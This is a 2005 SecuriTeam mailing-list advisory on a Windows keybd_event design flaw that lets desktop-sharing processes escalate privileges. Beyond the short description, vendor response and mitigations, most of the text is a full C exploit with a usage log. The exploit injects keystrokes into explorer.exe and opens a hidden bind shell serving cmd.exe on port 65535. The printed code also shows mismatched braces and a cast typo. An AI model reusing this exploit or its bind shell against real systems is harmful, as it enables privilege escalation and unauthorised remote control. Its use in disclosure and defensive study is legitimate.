

[NT] Microsoft Windows keybd_event Validation Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0024.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/07/05

To: list@securiteam.com

Date: 7 Sep 2005 11:05:37 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Windows keybd_event Validation Vulnerability

SUMMARY

As is known, with the current Microsoft Security Model, applications that share the desktop are able to send messages between them. Every Desktop application is able to obtain the handle of every process executed in the same desktop.

This feature and the possibility of any application to emulate a virtual keyboard by sending key strokes, allows every process to send messages and keys as if there were an interactive user, this in turn can be used to elevate the attacker's security privileges.

DETAILS

Attack Scenario:

There are at least two known scenarios that will allow this attack to succeed.

– Runas Service allows application execution as if it were launched by another user. In some cases, a user could execute an untrusted application (like malware) with restricted rights by downgrading privileges and

Securiteam: [NT] Microsoft Windows keybd_event Validation Vulnerability

executing a shell where that suspicious application will be executed and tested. This application shares the same desktop as all the user applications.

– Every running service with the flag INTERACT_WITH_DESKTOP will be able to access user Desktop.

Attack:

If an attacker is able to gain access to an application executed in any of those ways (direct malware execution or exploiting a security flaw in that software) by using Windows APIs (keybd_event or SendKeys) he will be able to send keystrokes that will be handled by explorer.exe allowing it to execute arbitrary code with logged user rights. This attack will allow to bypass security restrictions offered by the Runas Service and elevate privileges.

Vendor Response:

After talking with MSRC (Microsoft Security Response Center) Microsoft have identified this vulnerability as a design flaw, where the desktop is the security limit, so there is currently no solution because some automatic tools and virtual keyboard included in Windows XP would not work if this feature did not exist.

Solution:

– Only allow trusted applications to be run as a service with access to the desktop.
– Do not use Runas Service in production environments.

Exploit:

/*

* Microsoft Windows keybd_event validation vulnerability.

* Local privilege elevation

*

* Credits: Andres Tarasco (aT4r @_ haxorcitos.com)

* I aki Lopez (ilo @_ reversing.org)

*

* Platforms affected/tested:

*

* – Windows 2000

* – Windows XP

* – Windows 2003

*

*

* Original Advisory: <http://www.haxorcitos.com>

* <http://www.reversing.org>

*

* Exploit Date: 08 / 06 / 2005

*

* Original Advisory:

* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"

* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION

Securiteam: [NT] Microsoft Windows keybd_event Validation Vulnerability

* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.

*

* Attack Scenario:

*

* a) An attacker who gains access to an unprivileged shell/application executed

* with the application runas.

* b) An attacker who gains access to a service with flags

INTERACT_WITH_DESKTOP

*

* Impact:

*

* Due to an invalid keyboard input validation, its possible to send keys to any

* application of the Desktop.

* By sending some short-cut keys its possible to execute code and elevate privileges

* getting logged user privileges and bypass runas/service security restriction.

*

* Exploit usage:

*

* C:\>whoami

* AQUARIUS\Administrador

*

* C:\>runas /user:restricted cmd.exe

* Enter the password for restricted:

* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...

*

*

* Microsoft Windows 2000 [Versi n 5.00.2195]

* (C) Copyright 1985–2000 Microsoft Corp.

*

* C:\WINNT\system32>cd \

*

* C:\>whoami

* AQUARIUS\restricted

*

* C:\>tlist.exe |find "explorer.exe"

* 1140 explorer.exe Program Manager

*

* C:\>c:\keybd.exe 1140

* HANDLE Found. Attacking =)

*

* C:\>nc localhost 65535

* Microsoft Windows 2000 [Versi n 5.00.2195]

* (C) Copyright 1985–2000 Microsoft Corp.

*

* C:\>whoami

* whoami

* AQUARIUS\Administrador

Securiteam: [NT] Microsoft Windows keybd_event Validation Vulnerability

```
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/*****/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
    DWORD hwndid;
    int i;

    GetWindowThreadProcessId(hwnd,&hwndid);

    if (hwndid == pid){
        /*
        Replace keybd_event with SendMessage() and PostMessage() calls
        */
        printf("HANDLE Found. Attacking =)\n");
        SetForegroundWindow(hwnd);
        keybd_event(VK_LWIN,1,0,0);
        keybd_event(VkKeyScan('r'),1,0,0);
        keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
        keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
        for(i=0;i<strlen(buf);i++) {
            if (buf[i]==':') {
                keybd_event(VK_SHIFT,1,0,0);
                keybd_event(VkKeyScan(buf[i]),1,0,0);
                keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
                keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
            } else {
                if (buf[i]=='\\') {
                    keybd_event(VK_LMENU,1,0,0);
                    keybd_event(VK_CONTROL,1,0,0);
                    keybd_event(VkKeyScan(' '),1,0,0);
                    keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
                    keybd_event(VkKeyScan(' '),1,KEYEVENTF_KEYUP,0);
                } else {
                    keybd_event(VkKeyScan(buf[i]),1,0,0);
                    keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
                }
            }
        }
    }
}
```

Securiteam: [NT] Microsoft Windows keybd_event Validation Vulnerability

```
    }
    keybd_event(VK_RETURN,1,0,0);
    keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
    exit(1);
}
}
/*****/

int BindShell(void) { //Bind Shell. POrt 65535

    SOCKET s,s2;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    WSADATA HWSAdata;
    struct sockaddr_in sa;
    int len;

    if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
    if
    ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
    exit(1); }

    sa.sin_family = AF_INET;
    sa.sin_port = (USHORT)htons(HAXORCITOS);
    sa.sin_addr.s_addr = htonl(INADDR_ANY);
    len=sizeof(sa);
    if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
return(-1); }
    if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
    s2 = accept(s,(struct sockaddr *)&sa,&len);
    closesocket(s);

    ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdInput = (void *) s2; // SOCKET
    si.hStdOutput = (void *) s2;
    si.hStdError = (void *) s2;
    if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE,
0,NULL,NULL,&si,&pi) ) {
        doFormatMessage(GetLastError());
        return(-1);
    }

    WaitForSingleObject( pi.hProcess, INFINITE );
    closesocket(s);
    closesocket(s2);
    printf("SALIMOS...\n");
    Sleep(5000);
    return(1);
}
```

Securiteam: [NT] Microsoft Windows keybd_event Validation Vulnerability

```
}
/*****/
void main(int argc, char* argv[])
{
    HWND console_wnd = NULL;

    if (argc >= 2) {
        pid = atoi (argv[1]);
        strncpy(buf,argv[0],sizeof(buf)-1);
        EnumWindows((WNDENUMPROC)ExplorerExecution,(long>(&console_wnd));
    } else {
        BindShell();
    }
}
/*****/
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:fcharpen@xmcopartners.com>
Frederic Charpentier.

The original article can be found at:

<<http://www.haxorcitos.com/MSRC-6005bgs-EN.txt>>

<http://www.haxorcitos.com/MSRC-6005bgs-EN.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.